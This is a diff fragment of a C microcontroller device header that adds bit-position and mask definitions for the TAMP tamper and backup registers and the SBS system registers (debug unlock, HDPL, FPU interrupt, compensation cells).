+#define TAMP_SR_ITAMP9F_Pos (24U) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26U) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27U) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28U) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk +#define TAMP_SR_ITAMP15F_Pos (30U) +#define TAMP_SR_ITAMP15F_Msk (0x1UL << TAMP_SR_ITAMP15F_Pos) /*!< 0x40000000 */ +#define TAMP_SR_ITAMP15F TAMP_SR_ITAMP15F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0U) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1U) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16U) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17U) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00020000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18U) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP4MF_Pos (19U) +#define TAMP_MISR_ITAMP4MF_Msk (0x1UL << TAMP_MISR_ITAMP4MF_Pos) /*!< 0x00080000 */ +#define TAMP_MISR_ITAMP4MF TAMP_MISR_ITAMP4MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20U) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21U) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22U) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23U) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24U) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26U) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27U) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28U) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk +#define TAMP_MISR_ITAMP15MF_Pos (30U) +#define TAMP_MISR_ITAMP15MF_Msk (0x1UL << TAMP_MISR_ITAMP15MF_Pos) /*!< 0x40000000 */ +#define TAMP_MISR_ITAMP15MF TAMP_MISR_ITAMP15MF_Msk + + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0U) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1U) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16U) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17U) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00020000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18U) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP4F_Pos (19U) +#define TAMP_SCR_CITAMP4F_Msk (0x1UL << TAMP_SCR_CITAMP4F_Pos) /*!< 0x00080000 */ +#define TAMP_SCR_CITAMP4F TAMP_SCR_CITAMP4F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20U) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21U) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22U) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23U) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24U) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26U) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27U) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28U) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk +#define TAMP_SCR_CITAMP15F_Pos (30U) +#define TAMP_SCR_CITAMP15F_Msk (0x1UL << TAMP_SCR_CITAMP15F_Pos) /*!< 0x40000000 */ +#define TAMP_SCR_CITAMP15F TAMP_SCR_CITAMP15F_Msk +/******************** Bits definition for TAMP_COUNT1R register ***************/ +#define TAMP_COUNT1R_COUNT_Pos (0U) +#define TAMP_COUNT1R_COUNT_Msk (0xFFFFFFFFUL << TAMP_COUNT1R_COUNT_Pos)/*!< 0xFFFFFFFF */ +#define TAMP_COUNT1R_COUNT TAMP_COUNT1R_COUNT_Msk + + +/******************** Bits definition for TAMP_ERCFG register ***************/ +#define TAMP_ERCFGR_ERCFG0_Pos (0U) +#define TAMP_ERCFGR_ERCFG0_Msk (0x1UL << TAMP_ERCFGR_ERCFG0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR_ERCFG0 TAMP_ERCFGR_ERCFG0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0U) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0U) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0U) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0U) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0U) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0U) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0U) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0U) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0U) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0U) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0U) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0U) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0U) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0U) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0U) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0U) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0U) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0U) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0U) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0U) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0U) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0U) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0U) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0U) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0U) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0U) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0U) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0U) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0U) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0U) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0U) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0U) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* SBS */ +/* */ +/******************************************************************************/ +/******************** Bit definition for SBS_HDPLCR register *****************/ +#define SBS_HDPLCR_INCR_HDPL_Pos (0U) +#define SBS_HDPLCR_INCR_HDPL_Msk (0xFFUL << SBS_HDPLCR_INCR_HDPL_Pos) /*!< 0x000000FF */ +#define SBS_HDPLCR_INCR_HDPL SBS_HDPLCR_INCR_HDPL_Msk /*!< Increment HDPL value. */ + +/******************** Bit definition for SBS_HDPLSR register *****************/ +#define SBS_HDPLSR_HDPL_Pos (0U) +#define SBS_HDPLSR_HDPL_Msk (0xFFUL << SBS_HDPLSR_HDPL_Pos) /*!< 0x000000FF */ +#define SBS_HDPLSR_HDPL SBS_HDPLSR_HDPL_Msk /*!< HDPL value. */ + +/******************** Bit definition for SBS_DBGCR register *****************/ +#define SBS_DBGCR_AP_UNLOCK_Pos (0U) +#define SBS_DBGCR_AP_UNLOCK_Msk (0xFFUL << SBS_DBGCR_AP_UNLOCK_Pos) /*!< 0x000000FF */ +#define SBS_DBGCR_AP_UNLOCK SBS_DBGCR_AP_UNLOCK_Msk /*!< Open the Access Port. */ + +#define SBS_DBGCR_DBG_UNLOCK_Pos (8U) +#define SBS_DBGCR_DBG_UNLOCK_Msk (0xFFUL << SBS_DBGCR_DBG_UNLOCK_Pos) /*!< 0x0000FF00 */ +#define SBS_DBGCR_DBG_UNLOCK SBS_DBGCR_DBG_UNLOCK_Msk /*!< Open the debug when DBG_AUTH_HDPL is reached. */ + +#define SBS_DBGCR_DBG_AUTH_HDPL_Pos (16U) +#define SBS_DBGCR_DBG_AUTH_HDPL_Msk (0xFFUL << SBS_DBGCR_DBG_AUTH_HDPL_Pos) /*!< 0x00FF0000 */ +#define SBS_DBGCR_DBG_AUTH_HDPL SBS_DBGCR_DBG_AUTH_HDPL_Msk /*!< HDPL value when the debug should be effectively opened. */ + +/******************** Bit definition for SBS_DBGLCKR register *****************/ +#define SBS_DBGLOCKR_DBGCFG_LOCK_Pos (0U) +#define SBS_DBGLOCKR_DBGCFG_LOCK_Msk (0xFFUL << SBS_DBGLOCKR_DBGCFG_LOCK_Pos) /*!< 0x000000FF */ +#define SBS_DBGLOCKR_DBGCFG_LOCK SBS_DBGLOCKR_DBGCFG_LOCK_Msk /*!< SBS_DBGLOCKR_DBGCFG_LOCK value. */ + +/****************** Bit definition for SBS_PMCR register ****************/ +#define SBS_PMCR_PB6_FMP_Pos (16U) +#define SBS_PMCR_PB6_FMP_Msk (0x1UL << SBS_PMCR_PB6_FMP_Pos) /*!< 0x00010000 */ +#define SBS_PMCR_PB6_FMP SBS_PMCR_PB6_FMP_Msk /*!< Fast-mode Plus command on PB(6) */ +#define SBS_PMCR_PB7_FMP_Pos (17U) +#define SBS_PMCR_PB7_FMP_Msk (0x1UL << SBS_PMCR_PB7_FMP_Pos) /*!< 0x00020000 */ +#define SBS_PMCR_PB7_FMP SBS_PMCR_PB7_FMP_Msk /*!< Fast-mode Plus command on PB(7) */ +#define SBS_PMCR_PB8_FMP_Pos (18U) +#define SBS_PMCR_PB8_FMP_Msk (0x1UL << SBS_PMCR_PB8_FMP_Pos) /*!< 0x00040000 */ +#define SBS_PMCR_PB8_FMP SBS_PMCR_PB8_FMP_Msk /*!< Fast-mode Plus command on PB(8) */ + +/****************** Bit definition for SBS_FPUIMR register ***************/ +#define SBS_FPUIMR_FPU_IE_Pos (0U) +#define SBS_FPUIMR_FPU_IE_Msk (0x3FUL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x0000003F - */ +#define SBS_FPUIMR_FPU_IE SBS_FPUIMR_FPU_IE_Msk /*!< All FPU interrupts enable */ +#define SBS_FPUIMR_FPU_IE_0 (0x1UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000001 - Invalid operation Interrupt enable */ +#define SBS_FPUIMR_FPU_IE_1 (0x2UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000002 - Divide-by-zero Interrupt enable */ +#define SBS_FPUIMR_FPU_IE_2 (0x4UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000004 - Underflow Interrupt enable */ +#define SBS_FPUIMR_FPU_IE_3 (0x8UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000008 - Overflow Interrupt enable */ +#define SBS_FPUIMR_FPU_IE_4 (0x10UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000010 - Input denormal Interrupt enable */ +#define SBS_FPUIMR_FPU_IE_5 (0x20UL << SBS_FPUIMR_FPU_IE_Pos) /*!< 0x00000020 - Inexact Interrupt enable (interrupt disabled at reset) */ + +/****************** Bit definition for SBS_MESR register ****************/ +#define SBS_MESR_MCLR_Pos (0U) +#define SBS_MESR_MCLR_Msk (0x1UL << SBS_MESR_MCLR_Pos) /*!< 0x00000001 */ +#define SBS_MESR_MCLR SBS_MESR_MCLR_Msk /*!< Status of Erase after Reset */ +#define SBS_MESR_IPMEE_Pos (16U) +#define SBS_MESR_IPMEE_Msk (0x1UL << SBS_MESR_IPMEE_Pos) /*!< 0x00010000 */ +#define SBS_MESR_IPMEE SBS_MESR_IPMEE_Msk /*!< Status of End of Erase for ICache and PKA RAMs */ + +/****************** Bit definition for SBS_CCCSR register ****************/ +#define SBS_CCCSR_EN1_Pos (0U) +#define SBS_CCCSR_EN1_Msk (0x1UL << SBS_CCCSR_EN1_Pos) /*!< 0x00000001 */ +#define SBS_CCCSR_EN1 SBS_CCCSR_EN1_Msk /*!< Enable compensation cell for VDD power rail */ +#define SBS_CCCSR_CS1_Pos (1U) +#define SBS_CCCSR_CS1_Msk (0x1UL << SBS_CCCSR_CS1_Pos) /*!< 0x00000002 */ +#define SBS_CCCSR_CS1 SBS_CCCSR_CS1_Msk /*!< Code selection for VDD power rail */ +#define SBS_CCCSR_EN2_Pos (2U) +#define SBS_CCCSR_EN2_Msk (0x1UL << SBS_CCCSR_EN2_Pos) /*!< 0x00000004 */ +#define SBS_CCCSR_EN2 SBS_CCCSR_EN2_Msk /*!< Enable compensation cell for VDDIO power rail */ +#define SBS_CCCSR_CS2_Pos (3U) +#define SBS_CCCSR_CS2_Msk (0x1UL << SBS_CCCSR_CS2_Pos) /*!< 0x00000008 */ +#define SBS_CCCSR_CS2 SBS_CCCSR_CS2_Msk /*!< Code selection for VDDIO power rail */ +#define SBS_CCCSR_RDY1_Pos (8U) +#define SBS_CCCSR_RDY1_Msk (0x1UL << SBS_CCCSR_RDY1_Pos) /*!< 0x00000100 */ +#define SBS_CCCSR_RDY1 SBS_CCCSR_RDY1_Msk /*!< VDD compensation cell ready flag */ +#define SBS_CCCSR_RDY2_Pos (9U) +#define SBS_CCCSR_RDY2_Msk (0x1UL << SBS_CCCSR_RDY2_Pos) /*!< 0x00000200 */ +#define SBS_CCCSR_RDY2 SBS_CCCSR_RDY2_Msk /*!< VDDIO compensation cell ready flag */ + +/****************** Bit definition for SBS_CCVALR register ****************/ +#define SBS_CCVALR_ANSRC1_Pos (0U) +#define SBS_CCVALR_ANSRC1_Msk (0xFUL << SBS_CCVALR_ANSRC1_Pos) /*!< 0x0000000F */ +#define SBS_CCVALR_ANSRC1 SBS_CCVALR_ANSRC1_Msk /*!< NMOS compensation value */ +#define SBS_CCVALR_APSRC1_Pos (4U) +#define SBS_CCVALR_APSRC1_Msk (0xFUL << SBS_CCVALR_APSRC1_Pos) /*!< 0x000000F0 */ +#define SBS_CCVALR_APSRC1 SBS_CCVALR_APSRC1_Msk /*!< PMOS compensation value */ +#define SBS_CCVALR_ANSRC2_Pos (8U) +#define SBS_CCVALR_ANSRC2_Msk (0xFUL << SBS_CCVALR_ANSRC2_Pos) /*!< 0x00000F00 */ +#define SBS_CCVALR_ANSRC2 SBS_CCVALR_ANSRC2_Msk /*!< NMOS compensation value */ +#define SBS_CCVALR_APSRC2_Pos (12U) +#define SBS_CCVALR_APSRC2_Msk (0xFUL << SBS_CCVALR_APSRC2_Pos) /*!< 0x0000F000 */ +#define SBS_CCVALR_APSRC2 SBS_CCVALR_APSRC2_Msk /*!< PMOS compensation value */ + +/****************** Bit definition for SBS_CCSWCR register ****************/ +#define SBS_CCSWCR_SW_ANSRC1_Pos (0U) +#define SBS_CCSWCR_SW_ANSRC1_Msk (0xFUL << SBS_CCSWCR_SW_ANSRC1_Pos) /*!< 0x0000000F */ +#define SBS_CCSWCR_SW_ANSRC1 SBS_CCSWCR_SW_ANSRC1_Msk /*!< NMOS compensation code for VDD Power Rail */ +#define SBS_CCSWCR_SW_APSRC1_Pos (4U) +#define SBS_CCSWCR_SW_APSRC1_Msk (0xFUL << SBS_CCSWCR_SW_APSRC1_Pos) /*!< 0x000000F0 */ +#define SBS_CCSWCR_SW_APSRC1 SBS_CCSWCR_SW_APSRC1_Msk /*!< PMOS compensation code for VDD Power Rail */ +#define SBS_CCSWCR_SW_ANSRC2_Pos (8U) +#define SBS_CCSWCR_SW_ANSRC2_Msk (0xFUL << SBS_CCSWCR_SW_ANSRC2_Pos) /*!< 0x00000F00 */ +#define SBS_CCSWCR_SW_ANSRC2 SBS_CCSWCR_SW_ANSRC2_Msk /*!< NMOS compensation code for VDDIO Power Rail */ +#define SBS_CCSWCR_SW_APSRC2_Pos (12U) +#define SBS_CCSWCR_SW_APSRC2_Msk (0xFUL << SBS_CCSWCR_SW_APSRC2_Pos) /*!< 0x0000F000 */ +#define SBS_CCSWCR_SW_APSRC2 SBS_CCSWCR_SW_APSRC2_Msk /*!< PMOS compensation code for VDDIO Power Rail */ + +/****************** Bit definition for SBS_CFGR2 register ****************/ +#define SBS_CFGR2_CLL_Pos (0U) +#define SBS_CFGR2_CLL_Msk (0x1UL << SBS_CFGR2_CLL_Pos) /*!< 0x00000001 */ +#define SBS_CFGR2_CLL SBS_CFGR2_CLL_Msk /*!< Core Lockup Lock */ +#define SBS_CFGR2_SEL_Pos (1U) +#define SBS_CFGR2_SEL_Msk (0x1UL << SBS_CFGR2_SEL_Pos) /*!< 0x00000002 */ +#define SBS_CFGR2_SEL SBS_CFGR2_SEL_Msk /*!< SRAM ECC Lock */ +#define SBS_CFGR2_PVDL_Pos (2U) +#define SBS_CFGR2_PVDL_Msk (0x1UL << SBS_CFGR2_PVDL_Pos) /*!< 0x00000004 */ +#define SBS_CFGR2_PVDL SBS_CFGR2_PVDL_Msk /*!< PVD Lock */ +#define SBS_CFGR2_ECCL_Pos (3U) +#define SBS_CFGR2_ECCL_Msk (0x1UL << SBS_CFGR2_ECCL_Pos) /*!< 0x00000008 */ +#define SBS_CFGR2_ECCL SBS_CFGR2_ECCL_Msk /*!< Flash ECC Lock*/ + +/****************** Bit definition for SBS_CNSLCKR register **************/ +#define SBS_CNSLCKR_LOCKNSVTOR_Pos (0U) +#define SBS_CNSLCKR_LOCKNSVTOR_Msk (0x1UL << SBS_CNSLCKR_LOCKNSVTOR_Pos) /*!< 0x00000001 */ +#define SBS_CNSLCKR_LOCKNSVTOR SBS_CNSLCKR_LOCKNSVTOR_Msk /*!< Disable VTOR_NS register writes by SW or debug agent */ 